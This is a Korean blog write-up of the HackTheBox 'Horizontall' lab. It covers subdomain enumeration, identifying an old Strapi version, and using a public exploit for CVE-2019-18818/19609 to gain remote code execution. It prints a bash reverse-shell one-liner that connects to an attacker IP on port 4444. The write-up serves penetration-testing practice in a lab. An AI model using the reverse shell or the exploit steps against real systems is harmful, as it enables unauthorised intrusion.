[침투 테스팅] HackTheBox - Horizontall : 웹 프레임워크 RCE 취약점 Exploit

2022. 1. 14. 08:41Penetration Testing/Easy

Nmap

Nmap 스캔 결과에서는 일단 특별한 점이 보이지 않는다. 웹 서버에 접속하려고 하면 이제까지 시스템과 다른 반응을 보여주는데 http://horizontall.htb 이라는 주소로 리다이렉트 시켜버린다. 해당 주소는 실제로 존재하지 않는 주소이기에 당연히 없는 주소라고 뜨고 제대로 된 분석을 할 수가 없게 된다. 이건 해당 시스템이 horizontall.htb 라는 주소를 이용할 것이라고 가정하고 코드가 짜여있어서 그런 것이니 그냥 hosts 파일을 수정하여 침투 테스팅 시스템의 IP와 해당 도메인을 연결시켜주면 된다.

sudo vi /etc/hosts

위 명령어로 hosts 파일을 열어서 시스템의 IP와 도메인을 기록해주자.

 

 

 

 

 

 

horizontall.htb

hosts 파일을 수정하고 웹 서버에 접속해보면 다행히 제대로된 웹 페이지가 나온다. 클릭할 수 있는 버튼이 많은데 이것저것 눌러도 아무 반응도 없다...  Nmap 스캔 결과에서 확인한 nginx 버전에 대해서 취약점을 찾아봐도 아무것도 안나오기 때문에 해당 웹에서 무언가를 해야된다는 것은 확실한 것 같다. 그런데 디렉토리 탐색을 해보아도 아무런 정보를 얻을 수 없었다. 이럴때는 서브도메인까지 탐색을 해줘야된다. 

https://github.com/danielmiessler/SecLists

여기서 서브도메인 리스트를 구할 수 있다.

gobuster vhost -u http://horizontall.htb -w /home/kali/Desktop/exploit/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -z

gobuster로 서브도메인 Brute Force를 해주자.

 

cLists-master/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -z
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://horizontall.htb
[+] Method:       GET
[+] Threads:      100
[+] Wordlist:     /home/kali/Desktop/exploit/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/01/13 17:50:53 Starting gobuster in VHOST enumeration mode
===============================================================
Found: api-prod.horizontall.htb (Status: 200) [Size: 413]

조금 기다리면 api-pord라는 서브도메인이 검색된다.

 

 

 

 

 

/etc/hosts

다음과 같이 해당 서브 도메인도 hosts 파일에 등록해줘야 제대로 접속할 수 있다. 접속해보면 Welcome이라는 메인 페이지가 끝이므로 서브 도메인에 대해서도 디렉토리 Brute Force를 해줘야 한다.

 

 

 

 

 

OWASP DirBuster

이렇게 디렉토리가 나오는데 가장 수상한 /admin에 접속해보면 Strapi라는 웹 프레임워크의 로그인 페이지가 나온다. 아쉽게도 기본 계정 admin,admin으로는 로그인이 되지 않는다. 일단 Burp Suite로 응답 값을 보고 해당 프레임워크에 대한 자세한 정보를 얻으려고 시도해 보았다.

 

 

 

 

 

Burp Suite

응답 값을 살펴보면 uuid라는 수상한 데이터와 strapi 버전이 3.0.0-beta.17.4라는 것을 알 수 있다.

 

 

 

 

 

Searchsploit

Searchsploit으로 검색해보면 정확히 해당 버전에 대한 Remote Code Execution 취약점이 존재한다...! -x 옵션으로 공격 코드를 보면 CVE-2019-18818, CVE-2019-19609라는 CVE가 붙어있다. 아쉽게도 메타스플로잇에는 공격코드가 존재하지 않는 것 같다.

searchsploit -p 50239.py

해당 명령어로 exploit 코드의 경로를 알 수 있으니 찾아서 Python 코드를 전부 복사하고 새로 파일을 만들어 붙여넣기 해주면 exploit 코드를 가져올 수 있다.

 

 

 

 

 

 

Exploit

간단히 URL만 입력해주는 것으로 Exploit이 된다... ㄷㄷ Reverse Shell인 줄 알고 명령어를 입력해봤지만 실시간으로 입력 값이 RCE 되는 것이지 따로 Shell이 연결된게 아니니 출력 값이 없다고 친절히 알려준다.

bash -c 'bash -i >& /dev/tcp/10.10.14.22/4444 0>&1'

RCE Exploit으로 해당 명령어를 실행하면 Reverse Shell을 얻을 수 있다.

 

 

 

 

Reverse Shell

만약 응답이 없다면 Python Exploit 코드를 다시 실행해보자. 위에서 스캔하면서 해당 시스템이 Ubuntu 20.04 버전이라는 것을 알았는데 아무래도 이렇게 높은 버전은 단순히 권한 상승 공격 코드로 권한 상승이 될 것 같지는 않다.. 다음에 하도록 하겠다...